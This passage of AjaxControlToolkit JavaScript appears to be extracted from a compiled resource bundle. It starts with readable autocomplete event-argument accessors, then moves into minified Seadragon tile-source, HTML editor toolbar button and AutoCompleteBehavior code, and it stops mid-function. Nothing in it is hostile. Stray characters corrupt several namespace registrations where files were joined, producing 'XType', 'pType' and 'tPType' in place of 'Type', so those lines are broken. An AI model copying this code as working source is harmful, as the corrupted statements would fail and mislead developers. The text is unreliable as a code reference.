        this._item = value;
    },
    
    get_text : function() {
        /// <value type="String" maybeNull="true">
        /// Text of the item
        /// </value>
        return this._text;
    },
    set_text : function(value) {
        this._text = value;
    },
    
    get_value : function() {
        /// <value type="String" maybeNull="true">
        /// Value of the item different from text if specifically returned by the webservice
        /// as autocomplete json text/value item(using AutoComplete.CreateAutoCompleteItem); otherwise same as text.
        /// </value>
        return this._value;
    },
    set_value : function(value) {
        this._value = value;
    }
}
AjaxControlToolkit.AutoCompleteItemEventArgs.registerClass('AjaxControlToolkit.AutoCompleteItemEventArgs', Sys.EventArgs);
Type.registerNamespace("AjaxControlToolkit.Seadragon");AjaxControlToolkit.Seadragon.DziError=function(a){AjaxControlToolkit.Seadragon.DziError.initializeBase(this,[a]);this.message=a};AjaxControlToolkit.Seadragon.DziError.registerClass("AjaxControlToolkit.Seadragon.DziError",Error);AjaxControlToolkit.Seadragon.DziTileSource=function(h,g,e,c,f,d,b){var a=this;AjaxControlToolkit.Seadragon.DziTileSource.initializeBase(a,[h,g,e,c,null,null]);a._levelRects={};a.tilesUrl=f;a.fileFormat=d;a.displayRects=b;a._init()};AjaxControlToolkit.Seadragon.DziTileSource.prototype={_init:function(){var a=this;if(!a.displayRects)return;for(var d=a.displayRects.length-1;d>=0;d--)for(var c=a.displayRects[d],b=c.minLevel;b<=c.maxLevel;b++){if(!a._levelRects[b])a._levelRects[b]=[];a._levelRects[b].push(c)}},getTileUrl:function(a,b,c){return [this.tilesUrl,a,"/",b,"_",c,".",this.fileFormat].join("")},tileExists:function(c,k,l){var a=this,d=a._levelRects[c];if(!d||!d.length)return true;for(var j=d.length-1;j>=0;j--){var b=d[j];if(c<b.minLevel||c>b.maxLevel)continue;var e=a.getLevelScale(c),f=b.x*e,g=b.y*e,h=f+b.width*e,i=g+b.height*e;f=Math.floor(f/a.tileSize);g=Math.floor(g/a.tileSize);h=Math.ceil(h/a.tileSize);i=Math.ceil(i/a.tileSize);if(f<=k&&k<h&&g<=l&&l<i)return true}return false}};AjaxControlToolkit.Seadragon.DziTileSource.registerClass("AjaxControlToolkit.Seadragon.DziTileSource",AjaxControlToolkit.Seadragon.TileSource);AjaxControlToolkit.Seadragon._DziTileSourceHelper=function(){};AjaxControlToolkit.Seadragon._DziTileSourceHelper.prototype={createFromXml:function(h,e,f){var b=null,a=this,i=typeof f=="function",d=b;if(!h){a.error=Seadragon.Strings.getString("Errors.Empty");if(i){window.setTimeout(function(){f(b,d)},1);return b}throw new AjaxControlToolkit.Seadragon.DziError(d);}var c=h.split("/"),j=c[c.length-1],l=j.lastIndexOf(".");if(l>-1)c[c.length-1]=j.slice(0,l);var m=c.join("/")+"_files/";function g(a,c){try{return a(c,m)}catch(e){if(i){d=this.getError(e).message;return b}else throw this.getError(e);}}if(i){if(e){var k=Function.createDelegate(a,a.processResponse);window.setTimeout(function(){var a=g(k,Seadragon.Utils.parseXml(e));f(a,d)},1)}else{var k=Function.createDelegate(a,a.processResponse);Seadragon.Utils.makeAjaxRequest(h,function(b){var a=g(k,b);f(a,d)})}return b}if(e)return g(Function.createDelegate(a,a.processXml),Seadragon.Utils.parseXml(e));else return g(Function.createDelegate(a,a.processResponse),Seadragon.Utils.makeAjaxRequest(h))},processResponse:function(a,e){if(!a)throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Security"));else if(a.status!==200&&a.status!==0){var c=a.status,d=c==404?"Not Found":a.statusText;throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Status",c,d));}var b=null;if(a.responseXML&&a.responseXML.documentElement)b=a.responseXML;else if(a.responseText)b=Seadragon.Utils.parseXml(a.responseText);return this.processXml(b,e)},processXml:function(c,e){var a="Errors.Dzi";if(!c||!c.documentElement)throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Xml"));var d=c.documentElement,b=d.tagName;if(b=="Image")try{return this.processDzi(d,e)}catch(g){var f=Seadragon.Strings.getString(a);throw g instanceof AjaxControlToolkit.Seadragon.DziError?g:new AjaxControlToolkit.Seadragon.DziError(f);}else if(b=="Collection")throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Dzc"));else if(b=="Error")return this.processError(d);throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString(a));},processDzi:function(a,k){var c=a.getAttribute("Format");if(!Seadragon.Utils.imageFormatSupported(c))throw new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.ImageFormat",c.toUpperCase()));for(var h=a.getElementsByTagName("Size")[0],e=a.getElementsByTagName("DisplayRect"),m=parseInt(h.getAttribute("Width"),10),l=parseInt(h.getAttribute("Height"),10),j=parseInt(a.getAttribute("TileSize")),i=parseInt(a.getAttribute("Overlap")),g=[],d=0;d<e.length;d++){var f=e[d],b=f.getElementsByTagName("Rect")[0];g.push(new Seadragon.DisplayRect(parseInt(b.getAttribute("X"),10),parseInt(b.getAttribute("Y"),10),parseInt(b.getAttribute("Width"),10),parseInt(b.getAttribute("Height"),10),0,parseInt(f.getAttribute("MaxLevel"),10)))}return new AjaxControlToolkit.Seadragon.DziTileSource(m,l,j,i,k,c,g)},processError:function(b){var a=b.getElementsByTagName("Message")[0],c=a.firstChild.nodeValue;throw new AjaxControlToolkit.Seadragon.DziError(c);},getError:function(a){if(!(a instanceof DziError)){Seadragon.Debug.error(a.name+" while creating DZI from XML: "+a.message);a=new AjaxControlToolkit.Seadragon.DziError(Seadragon.Strings.getString("Errors.Unknown"))}}};AjaxControlToolkit.Seadragon.DziTileSourceHelper=new AjaxControlToolkit.Seadragon._DziTileSourceHelper;XType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("superScript",false,null)},checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.callBaseMethod(this,"checkState"))return false;return this._designPanel._queryCommandState("superScript")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.SuperScript",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);pType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton.prototype={set_activeEditPanel:function(c){var a=this;if(a._editPanel!=c&&a._editPanel!=null){var b=a.get_relatedPopup();if(typeof b._forceImClose=="function"){var d=b._forceImClose;d(b._iframe.contentWindow)}}AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.callBaseMethod(a,"set_activeEditPanel",[c])},callMethod:function(){var a=this;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton.callBaseMethod(a,"callMethod"))return false;a.openPopup(Function.createDelegate(a,a._onopened));return true},_onopened:function(b){var a=this;b.popupMediator.set_callMethodByName("OK",Function.createDelegate(a,a._onOK));b.popupMediator.set_callMethodByName("Cancel",Function.createDelegate(a,a._onCancel));var c=a.get_relatedPopup();c._popup=a._designPanel._popup;c._forceImClose=Function.createDelegate(a,a._onCancel);a._designPanel._popup=a.get_relatedPopup();a.opened(b)},opened:function(){},_onOK:function(b){var a=this;a.okCheck(b)&&a._exit(Function.createDelegate(a,a.ok),b)},_onCancel:function(b){var a=this;a.cancelCheck(b)&&a._exit(Function.createDelegate(a,a.cancel),b)},_exit:function(c,b){var a=this;a.closePopup();a._designPanel._popup=a.get_relatedPopup()._popup;a.get_relatedPopup()._popup=null;a.get_relatedPopup()._forceImClose=null;c(b)},ok:function(){},cancel:function(){},okCheck:function(){return true},cancelCheck:function(){return true}};AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink.initializeBase(this,[a]);this._emptySrc=window.location.href.replace(/(http[s]*\:\/\/)[^\u0000]*/i,"$1")};AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink.prototype={callMethod:function(){var b=this,c=b._designPanel,d=c._getSelection(),e=c._createRange(d),a=AjaxControlToolkit.HTMLEditor.getSelParent(c);if(a.nodeType==3)a=a.parentNode;while(a&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A")a=a.parentNode;if(a&&a.tagName.toUpperCase()=="A"){b._edit=true;b._editLink(a)}else{b._edit=false;if(!b._createLink())return false}if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink.callBaseMethod(b,"callMethod"))return false;return true},opened:function(a){this._preparePopup(a)},ok:function(d){var b=null,e="target",a=this,c=d.popupMediator.getField(e);if(c!=b)a._obj.target=c.value;var f=d.popupMediator.getField("url");if(f!=b)a._obj.href=f.value;if(/^javascript:/.test(a._obj.href)){a._obj.target=b;try{a._obj.removeAttribute(e)}catch(g){}}else{var c=d.popupMediator.getField(e);if(c!=b)a._obj.target=c.value}if(a._edit)a._edit_callback(true);else a._create_callback(true)},cancel:function(){if(this._edit)this._edit_callback(false);else this._create_callback(false)},_createLink:function(){var g=false,k="span",b=this,a=b._designPanel,l=!AjaxControlToolkit.HTMLEditor.isIE?AjaxControlToolkit.HTMLEditor.Trim(a.getSelectedHTML()):"",h=a._getSelection(),c=a._createRange(h);b._txt=null;if(!(a.isControl()&&AjaxControlToolkit.HTMLEditor.getSelParent(a).tagName&&(AjaxControlToolkit.HTMLEditor.getSelParent(a).tagName.toUpperCase()=="EMBED"||AjaxControlToolkit.HTMLEditor.getSelParent(a).tagName.toUpperCase()=="IMG"))&&!(!a.isControl()&&(AjaxControlToolkit.HTMLEditor.isIE&&c.text.length>0||!AjaxControlToolkit.HTMLEditor.isIE&&l.length>0))){a._saveContent();var j=a._doc.createElement(k);j.innerHTML="new link";j.id=AjaxControlToolkit.HTMLEditor.smartClassName;var n=true;if(AjaxControlToolkit.HTMLEditor.isIE&&a.isControl()){var d=c.item(0),o=a._doc.createElement(k);d.parentNode.insertBefore(o,d);b._txt=j.firstChild;d.parentNode.insertBefore(b._txt,d);var p=a._doc.createElement(k);d.parentNode.insertBefore(p,d);d.parentNode.removeChild(d);a.setSelectionAfterOperation([o,p],g);n=g}else{a.insertHTML(AjaxControlToolkit.HTMLEditor.getHTML(j,true));var f=a._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName);b._txt=f.firstChild;f.parentNode.insertBefore(f.firstChild,f);f.parentNode.removeChild(f)}if(!AjaxControlToolkit.HTMLEditor.isIE){c=a._createRange();c.setStart(b._txt,0);c.setEnd(b._txt,(""+b._txt.data+"").length);a._removeAllRanges(h);a._selectRange(h,c)}else n&&c.select();l=!AjaxControlToolkit.HTMLEditor.isIE?AjaxControlToolkit.HTMLEditor.Trim(a.getSelectedHTML()):"";h=a._getSelection();c=a._createRange(h)}if(a.isControl()&&AjaxControlToolkit.HTMLEditor.getSelParent(a).tagName.toUpperCase()=="IMG"||!a.isControl()&&(AjaxControlToolkit.HTMLEditor.isIE&&c.text.length>0||!AjaxControlToolkit.HTMLEditor.isIE&&l.length>0)){a._saveContent();b._obj={target:"default",href:b._emptySrc,title:""};for(var m=a._doc.getElementsByTagName("A"),i=[],e=0;e<m.length;e++)i.push([m[e],""+m[e].href+""]);a._execCommand("createLink",g,b._emptySrc);b._oldList=[];for(var e=0;e<i.length;e++){var q=i[e][0],r=i[e][1];q.href==r&&b._oldList.push(q)}}else{if(b._txt){a._undo(g);a.__stack.pop()}return g}return true},_editLink:function(b){var a=this._designPanel;this._obj=b;a._saveContent()},_preparePopup:function(c){var a=this;if(a._obj.target&&a._obj.target.length>0&&a._obj.target=="default")a._obj.target=a.get_relatedPopup().get_defaultTarget();var d=c.popupMediator.getField("target");if(d!=null)d.value=a._obj.target&&a._obj.target.length>0&&a._obj.target.substr(0,1)=="_"?a._obj.target.toLowerCase():"_self";var b=c.popupMediator.getField("url");if(b!=null){if(a._edit)b.value=AjaxControlToolkit.HTMLEditor.getRealAttribute(a._obj,"href");else b.value=a._obj.href;if(b.value.length==0)b.value=a._emptySrc;b.value=b.value.replace(/\&quot;/g,'"');setTimeout(function(){AjaxControlToolkit.HTMLEditor.setSelectionRange(b,0,b.value.length)},0)}},_edit_callback:function(c){var a=this,b=a._designPanel;try{if(!c)b._undo(false);else{if(a._obj.title.length==0){a._obj.title=null;a._obj.removeAttribute("title")}b.onContentChanged()}}catch(d){}return true},okCheck:function(b){var c=b.popupMediator.getField("url");if(c!=null){var a=c.value;if(a==""||a.length>=3&&a.substr(a.length-3,3)=="://"){b.alert(this.get_message("EmptyURL"));b.setTimeout(function(){try{c.focus()}catch(a){}},0);return false}return true}return false},_create_callback:function(k){var a=this,b=a._designPanel;try{if(k){for(var e=b._doc.getElementsByTagName("A"),i=0,g=0;g<e.length;g++){for(var j=true,f=e[g],h=0;h<a._oldList.length;h++)if(f==a._oldList[h]){j=false;break}if(!j)continue;i=g;if(a._obj.target)f.target=a._obj.target;f.href=a._obj.href;if(a._obj.title.length>0)f.title=a._obj.title}if(a._txt)a._txt.data=a._obj.href;if(e.length>0){var d=e[i],c=b._doc.createElement("span");c.innerHTML="&nbsp;";if(d.nextSibling!=null)d.parentNode.insertBefore(c,d.nextSibling);else d.parentNode.appendChild(c);setTimeout(function(){AjaxControlToolkit.HTMLEditor._setCursor(c,b);setTimeout(function(){d.parentNode.removeChild(c)},0)},0)}setTimeout(function(){b._editPanel.updateToolbar();b.onContentChanged()},0)}else{b._undo(false);b.__stack.pop();if(a._txt){b._undo(false);b.__stack.pop()}}b.focusEditor()}catch(l){}return true}};AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertLink",AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton);tPType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.AutoCompleteBehavior=function(d){var c=false,b=null,a=this;AjaxControlToolkit.AutoCompleteBehavior.initializeBase(a,[d]);a._servicePath=b;a._serviceMethod=b;a._contextKey=b;a._useContextKey=c;a._minimumPrefixLength=3;a._completionSetCount=10;a._completionInterval=1e3;a._completionListElementID=b;a._completionListElement=b;a._textColor="windowtext";a._textBackground="window";a._popupBehavior=b;a._popupBehaviorHiddenHandler=b;a._onShowJson=b;a._onHideJson=b;a._timer=b;a._cache=b;a._currentPrefix=b;a._selectIndex=-1;a._focusHandler=b;a._blurHandler=b;a._bodyClickHandler=b;a._completionListBlurHandler=b;a._keyDownHandler=b;a._mouseDownHandler=b;a._mouseUpHandler=b;a._mouseOverHandler=b;a._tickHandler=b;a._enableCaching=true;a._flyoutHasFocus=c;a._textBoxHasFocus=c;a._completionListCssClass=b;a._completionListItemCssClass=b;a._highlightedItemCssClass=b;a._delimiterCharacters=b;a._firstRowSelected=c;a._showOnlyCurrentWordInCompletionListItem=c;a._webRequest=b};AjaxControlToolkit.AutoCompleteBehavior.prototype={initialize:function(){var b=null,a=this;AjaxControlToolkit.AutoCompleteBehavior.callBaseMethod(a,"initialize");$common.prepareHiddenElementForATDeviceUpdate();a._popupBehaviorHiddenHandler=Function.createDelegate(a,a._popupHidden);a._tickHandler=Function.createDelegate(a,a._onTimerTick);a._focusHandler=Function.createDelegate(a,a._onGotFocus);a._blurHandler=Function.createDelegate(a,a._onLostFocus);a._keyDownHandler=Function.createDelegate(a,a._onKeyDown);a._mouseDownHandler=Function.createDelegate(a,a._onListMouseDown);a._mouseUpHandler=Function.createDelegate(a,a._onListMouseUp);a._mouseOverHandler=Function.createDelegate(a,a._onListMouseOver);a._completionListBlurHandler=Function.createDelegate(a,a._onCompletionListBlur);a._bodyClickHandler=Function.createDelegate(a,a._onCompletionListBlur);a._timer=new Sys.Timer;a.initializeTimer(a._timer);var c=a.get_element();a.initializeTextBox(c);if(a._completionListElementID!==b)a._completionListElement=$get(a._completionListElementID);if(a._completionListElement==b){a._completionListElement=document.createElement("ul");a._completionListElement.id=a.get_id()+"_completionListElem";if(Sys.Browser.agent===Sys.Browser.Safari)document.body.appendChild(a._completionListElement);else c.parentNode.insertBefore(a._completionListElement,c.nextSibling)}a.initializeCompletionList(a._completionListElement);a._popupBehavior=$create(AjaxControlToolkit.PopupBehavior,{id:a.get_id()+"PopupBehavior",parentElement:c,positioningMode:AjaxControlToolkit.PositioningMode.BottomLeft},b,b,a._completionListElement);a._popupBehavior.add_hidden(a._popupBehaviorHiddenHandler);a._onShowJson&&a._popupBehavior.set_onShow(a._onShowJson);a._onHideJson&&a._popupBehavior.set_onHide(a._onHideJson)},dispose:function(){var b=null,a=this;a._onShowJson=b;a._onHideJson=b;if(a._popupBehavior){a._popupBehaviorHiddenHandler&&a._popupBehavior.remove_hidden(a._popupBehaviorHiddenHandler);a._popupBehavior.dispose();a._popupBehavior=b}if(a._timer){a._timer.dispose();a._timer=b}var c=a.get_element();if(c){$removeHandler(c,"focus",a._focusHandler);$removeHandler(c,"blur",a._blurHandler);$removeHandler(c,"keydown",a._keyDownHandler);$removeHandler(a._completionListElement,"blur",a._completionListBlurHandler);$removeHandler(a._completionListElement,"mousedown",a._mouseDownHandler);$removeHandler(a._completionListElement,"mouseup",a._mouseUpHandler);$removeHandler(a._completionListElement,"mouseover",a._mouseOverHandler)}if(a._bodyClickHandler){$removeHandler(document.body,"click",a._bodyClickHandler);a._bodyClickHandler=b}a._popupBehaviorHiddenHandler=b;a._tickHandler=b;a._focusHandler=b;a._blurHandler=b;a._keyDownHandler=b;a._completionListBlurHandler=b;a._mouseDownHandler=b;a._mouseUpHandler=b;a._mouseOverHandler=b;AjaxControlToolkit.AutoCompleteBehavior.callBaseMethod(a,"dispose")},initializeTimer:function(a){a.set_interval(this._completionInterval);a.add_tick(this._tickHandler)},initializeTextBox:function(a){a.autocomplete="off";$addHandler(a,"focus",this._focusHandler);$addHandler(a,"blur",this._blurHandler);$addHandler(a,"keydown",this._keyDownHandler)},initializeCompletionList:function(c){var b=this;if(b._completionListCssClass)Sys.UI.DomElement.addCssClass(c,b._completionListCssClass);else{var a=c.style;a.textAlign="left";a.visibility="hidden";a.cursor="default";a.listStyle="none";a.padding="0px";a.margin="0px! important";if(Sys.Browser.agent===Sys.Browser.Safari){a.border="solid 1px gray";a.backgroundColor="white";a.color="black"}else{a.border="solid 1px buttonshadow";a.backgroundColor=b._textBackground;a.color=b._textColor}}$addHandler(c,"mousedown",b._mouseDownHandler);$addHandler(c,"mouseup",b._mouseUpHandler);$addHandler(c,"mouseover",b._mouseOverHandler);$addHandler(c,"blur",b._completionListBlurHandler);$addHandler(document.body,"click",b._bodyClickHandler)},_currentCompletionWord:function(){var b=this,f=b.get_element(),c=f.value,d=c;if(b.get_isMultiWord()){var a=b._getCurrentWordStartIndex(),e=b._getCurrentWordEndIndex(a);if(e<=a)d=c.substring(a);else d=c.substring(a,e)}return d},_getCursorIndex:function(){return this.get_element().selectionStart},_getCurrentWordStartIndex:function(){var a=this;for(var g=a.get_element(),f=g.value.substring(0,a._getCursorIndex()),b=0,c=-1,d=0;d<a._delimiterCharacters.length;++d){var e=f.lastIndexOf(a._delimiterCharacters.charAt(d));if(e>c)c=e}b=c;if(b>=a._getCursorIndex())b=0;return b<0?0:b+1},_getCurrentWordEndIndex:function(d){for(var e=this.get_element(),f=e.value.substring(d),a=0,c=0;c<this._delimiterCharacters.length;++c){var b=f.indexOf(this._delimiterCharacters.charAt(c));if(b>0&&(b<a||a==0))a=b}return a<=0?e.value.length:a+d},get_isMultiWord:function(){return this._delimiterCharacters!=null&&this._delimiterCharacters!=""},_getTextWithInsertedWord:function(d){var b=this,h=d,j=0,i=b.get_element(),c=i.value;if(b.get_isMultiWord()){var a=b._getCurrentWordStartIndex(),e=b._getCurrentWordEndIndex(a),f="",g="";if(a>0)f=c.substring(0,a);if(e>a)g=c.substring(e);h=f+d+g}return h},_hideCompletionList:function(){var a=new Sys.CancelEventArgs;this.raiseHiding(a);if(a.get_cancel())return;this.hidePopup()},showPopup:function(){this._popupBehavior.show();this.raiseShown(Sys.EventArgs.Empty)},hidePopup:function(){if(this._popupBehavior)this._popupBehavior.hide();else this._popupHidden()},_popupHidden:function(){var a=this;a._completionListElement.innerHTML="";a._selectIndex=-1;a._flyoutHasFocus=false;a.raiseHidden(Sys.EventArgs.Empty)},_highlightItem:function(c){var a=this;for(var e=a._completionListElement.childNodes,d=0;d<e.length;d++){var b=e[d];if(b._highlighted){if(a._completionListItemCssClass){Sys.UI.DomElement.removeCssClass(b,a._highlightedItemCssClass);Sys.UI.DomElement.addCssClass(b,a._completionListItemCssClass)}else if(Sys.Browser.agent===Sys.Browser.Safari){b.style.backgroundColor="white";b.style.color="black"}else{b.style.backgroundColor=a._textBackground;b.style.color=a._textColor}a.raiseItemOut(new AjaxControlToolkit.AutoCompleteItemEventArgs(b,b.firstChild.nodeValue,b._value))}}if(a._highlightedItemCssClass){Sys.UI.DomElement.removeCssClass(c,a._completionListItemCssClass);Sys.UI.DomElement.addCssClass(c,a._highlightedItemCssClass)}else if(Sys.Browser.agent===Sys.Browser.Safari)c.style.backgroundColor="lemonchiffon";else{c.style.backgroundColor="highlight";c.style.color="highlighttext"}c._highlighted=true;a.raiseItemOver(new AjaxControlToolkit.AutoCompleteItemEventArgs(c,c.firstChild.nodeValue,c._value))},_onCompletionListBlur:function(){this._hideCompletionList()},_onListMouseDown:function(b){var a=this;if(b.target!==a._completionListElement){a._setText(b.target);a._flyoutHasFocus=false}else a._flyoutHasFocus=true},_onListMouseUp:function(){try{this.get_element().focus()}catch(b){}},_onListMouseOver:function(e){var a=this,c=e.target;if(c!==a._completionListElement)for(var d=a._completionListElement.childNodes,b=0;b<d.length;++b)if(c===d[b]){a._highlightItem(c);a._selectIndex=b;break}},_onGotFocus:function(){var a=this;a._textBoxHasFocus=true;a._flyoutHasFocus&&a._hideCompletionList();a._minimumPrefixLength==0&&!a.get_element().value&&a._timer.set_enabled(true)},_onKeyDown:function(b){var a=this;a._textBoxHasFocus=true;a._timer.set_enabled(false);var c=b.keyCode?b.keyCode:b.rawEvent.keyCode;if(c===Sys.UI.Key.esc){a._hideCompletionList();b.preventDefault()}else if(c===Sys.UI.Key.up){if(a._selectIndex>0){a._selectIndex--;a._handleScroll(a._completionListElement.childNodes[a._selectIndex],a._selectIndex);a._highlightItem(a._completionListElement.childNodes[a._selectIndex]);b.stopPropagation();b.preventDefault()}}else if(c===Sys.UI.Key.down){if(a._selectIndex<a._completionListElement.childNodes.length-1){a._selectIndex++;a._handleScroll(a._completionListElement.childNodes[a._selectIndex],a._selectIndex);a._highlightItem(a._completionListElement.childNodes[a._selectIndex]);b.stopPropagation();b.preventDefault()}}else if(c===Sys.UI.Key.enter)if(a._selectIndex!==-1){a._setText(a._completionListElement.childNodes[a._selectIndex]);b.preventDefault()}else a.hidePopup();else if(c===Sys.UI.Key.tab)a._selectIndex!==-1&&a._setText(a._completionListElement.childNodes[a._selectIndex]);else a._timer.set_enabled(true)},_handleScroll:function(e,c){var a=this._completionListElement,b=$common.getBounds(e),d=this._completionListElement.childNodes.length;if(b.height*c-(a.clientHeight+a.scrollTop)>=0)a.scrollTop+=b.height*c-(a.clientHeight+a.scrollTop)+b.height;if(b.height*(d-(c+1))-(a.scrollHeight-a.scrollTop)>=0)a.scrollTop-=b.height*(d-(c+1))-(a.scrollHeight-a.scrollTop)+b.height;if(a.scrollTop%b.height!==0)if(b.height*(c+1)-(a.clientHeight+a.scrollTop)>=0)a.scrollTop-=a.scrollTop%b.height;else a.scrollTop+=b.height-a.scrollTop%b.height},_handleFlyoutFocus:function(){var a=this;if(!a._textBoxHasFocus)if(!a._flyoutHasFocus){if(a._webRequest){a._webRequest.get_executor().abort();a._webRequest=null}a._hideCompletionList()}},_onLostFocus:function(){var a=this;a._textBoxHasFocus=false;a._timer.set_enabled(false);window.setTimeout(Function.createDelegate(a,a._handleFlyoutFocus),500)},_onMethodComplete:function(b,a){this._webRequest=null;this._update(a,b,true)},_onMethodFailed:function(){this._webRequest=null},_onTimerTick:function(f,d){var c=false,a=this;a._timer.set_enabled(c);if(a._servicePath&&a._serviceMethod){var b=a._currentCompletionWord();if(b.trim().length<a._minimumPrefixLength){a._currentPrefix=null;a._update("",null,c);return}if(a._currentPrefix!==b||b==""&&a._minimumPrefixLength==0){a._currentPrefix=b;if(b!=""&&a._cache&&a._cache[b]){a._update(b,a._cache[b],c);return}var d=new Sys.CancelEventArgs;a.raisePopulating(d);if(d.get_cancel())return;var e={prefixText:a._currentPrefix,count:a._completionSetCount};if(a._useContextKey)e.contextKey=a._contextKey;if(a._webRequest){a._webRequest.get_executor().abort();a._webRequest=null}a._webRequest=Sys.Net.WebServiceProxy.invoke(a.get_servicePath(),a.get_serviceMethod(),c,e,Function.createDelegate(a,a._onMethodComplete),Function.createDelegate(a,a._onMethodFailed),b);$common.updateFormToRefreshATDeviceBuffer()}}},_setText:function(b){var a=this,e=b&&b.firstChild?b.firstChild.nodeValue:null;a._timer.set_enabled(false);var d=a.get_element(),c=d.control,f=a._showOnlyCurrentWordInCompletionListItem?a._getTextWithInsertedWord(e):e;if(c&&c.set_text)c.set_text(f);else d.value=f;$common.tryFireEvent(d,"change");a.raiseItemSelected(new AjaxControlToolkit.AutoCompleteItemEventArgs(b,e,b?b._value:null));a._currentPrefix=a._currentCompletionWord();a._hideCompletionList()},_update:function(k,c,n){var e=null,a=this;if(n&&a.get_enableCaching()){if(!a._cache)a._cache={};a._cache[k]=c}if(!a._textBoxHasFocus||k!=a._currentCompletionWord()){a._hideCompletionList();return}if(c&&c.length){a._completionListElement.innerHTML="";a._selectIndex=-1;for(var h=e,f=e,i=e,g=0;g<c.length;g++){var b=e;if(a._completionListElementID)b=document.createElement("div");else b=document.createElement("li");if(h==e)h=b;try{var j=Sys.Serialization.JavaScriptSerializer.deserialize("("+c[g]+")");if(j&&j.First){f=j.First;i=j.Second}else{f=c[g];i=f}}catch(p){f=c[g];i=c[g]}var o=a._showOnlyCurrentWordInCompletionListItem?f:a._getTextWithInsertedWord(f);b.appendChild(document.createTextNode(o));b._value=i;b.__item="";if(a._completionListItemCssClass)Sys.UI.DomElement.addCssClass(b,a._completionListItemCssClass);else{var d=b.style;d.padding="0px";d.textAlign="left";d.textOverflow="ellipsis";if(Sys.Browser.agent===Sys.Browser.Safari){d.backgroundColor="white";d.color="black"}else{d.backgroundColor=a._textBackground;d.color=a._textColor}}a._completionListElement.appendChild(b)}var m=$common.getBounds(a.get_element());a._completionListElement.style.width=Math.max(1,m.width-2)+"px";a._completionListElement.scrollTop=0;a.raisePopulated(Sys.EventArgs.Empty);var l=new Sys.CancelEventArgs;a.raiseShowing(l);if(!l.get_cancel()){a.showPopup();if(a._firstRowSelected&&h!=e){a._highlightItem(h);a._selectIndex=0}}}else a._hideCompletionList()},get_onShow:function(){return this._popupBehavior?this._popupBehavior.get_onShow():this._onShowJson},set_onShow:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onShow(b);else a._onShowJson=b;a.raisePropertyChanged("onShow")},get_onShowBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onShowBehavior():null},onShow:function(){this._popupBehavior&&this._popupBehavior.onShow()},get_onHide:function(){return this._popupBehavior?this._popupBehavior.get_onHide():this._onHideJson},set_onHide:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onHide(b);else a._onHideJson=b;a.raisePropertyChanged("onHide")},get_onHideBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onHideBehavior():null},onHide:function(){this._popupBehavior&&this._popupBehavior.onHide()},get_completionInterval:function(){return this._completionInterval},set_completionInterval:function(a){if(this._completionInterval!=a){this._completionInterval=a;this.raisePropertyChanged("completionInterval")}},get_completionList:function(){return this._completionListElement},set_completionList:function(a){if(this._completionListElement!=a){this._completionListElement=a;this.raisePropertyChanged("completionList")}},get_completionSetCount:function(){return this._completionSetCount},set_completionSetCount:function(a){if(this._completionSetCount!=a){this._completionSetCount=a;this.raisePropertyChanged("completionSetCount")}},get_minimumPrefixLength:function(){return this._minimumPrefixLength},set_minimumPrefixLength:function(a){if(this._minimumPrefixLength!=a){this._minimumPrefixLength=a;this.raisePropertyChanged("minimumPrefixLength")}},get_serviceMethod:function(){return this._serviceMethod},set_serviceMethod:function(a){if(this._serviceMethod!=a){this._serviceMethod=a;this.raisePropertyChanged("serviceMethod")}},get_servicePath:function(){return this._servicePath},set_servicePath:function(a){if(this._servicePath!=a){this._servicePath=a;this.raisePropertyChanged("servicePath")}},get_contextKey:function(){return this._contextKey},set_contextKey:function(b){var a=this;if(a._contextKey!=b){a._contextKey=b;a.set_useContextKey(true);a.raisePropertyChanged("contextKey")}},get_useContextKey:function(){return this._useContextKey},set_useContextKey:function(a){if(this._useContextKey!=a){this._useContextKey=a;this.raisePropertyChanged("useContextKey")}},get_enableCaching:function(){return 